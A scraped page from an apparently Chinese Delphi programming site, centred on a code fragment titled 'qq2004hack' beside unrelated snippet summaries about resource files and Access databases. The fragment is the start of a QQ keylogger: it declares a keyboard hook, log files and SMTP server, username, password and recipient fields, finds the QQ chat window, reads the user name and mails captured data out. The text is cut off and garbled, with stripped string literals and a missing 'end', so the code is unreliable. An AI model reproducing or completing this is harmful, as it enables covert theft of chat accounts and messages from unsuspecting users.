感谢 sforever 提供帮助 hookkey: strin

开发技术指南» 文章正文

引言：感谢 sforever 提供帮助 hookkey: strin

摘要：做一个.rc的文件，里面是文本格式，内容如下：资源名类型资源在windows中的文件件 mycur1 cursor 28.cur //加入光标mycur2 cursor 29.cur //加入光标mycur3 cursor 30.cur //加入光标myico1 icon ico.ico //加入图标bmp1 bitmap 1.bmpbmp2 bitmap 2.bmp 注意要把那......

·用delphi 压缩access数据库 »显示摘要«

摘要： uses dao97,dao2000; procedure compactmdbdatabase(srcdbname,dstdbname,oldpwd,newpwd:string;baccess97:boolean=true);var idbengine:_dbengine;begin if oldpwd <> then oldpwd := ;pwd=+oldpwd; if new......

qq2004hack

感谢 sforever 提供帮助

hookkey: string; 【程序编程相关:QQ聊天记录器演示程序(二)】

【推荐阅读:快捷方式/删除项/EXE自删除DIY】

hhook: integer; 【扩展信息:QQ聊天记录器演示程序(一)】

creeper,creeper1:textfile;

ahwnd,comboboxh:thandle; //句柄

qqformid:hwnd;

user:array[0..254] of char;

sendbody:string;

psmtp,puser,ppass,pgetmail,ptomail,subject,mailtext:string;

implementation

//找qq聊天窗口

function fpopoid(ahwnd:hwnd;w:integer):boolean;stdcall;

var wintext:pchar;

begin

result:=true;

getmem(wintext,100);

getwindowtext(ahwnd,wintext,100);

if pos(与,wintext)>0 then

begin

trysendmail;

sleep(100);

unhookwindowshookex(hhook);

hhook := 0;

application.terminate;

end;

function fmsgidedit(ahwnd:hwnd;w:integer):boolean;stdcall;

var

f:textfile;

begin

result:=true;

comboboxh:=findwindowex(qqformid,0,combobox,nil);

sendmessage(comboboxh,wm_gettext,254,integer(@user));

... 下一页

·string 和 variantarray »显示摘要«

摘要： function stringtovariantarray(const s: string): olevariant;var p: pointer;begin result := null; if length(s) > 0 then begin result := vararraycreate([0, length(s) - 1], varbyte); p := vararraylock......

» 本期热门文章：

· 热门栏目：

» 相关精选文章

» 其它相关：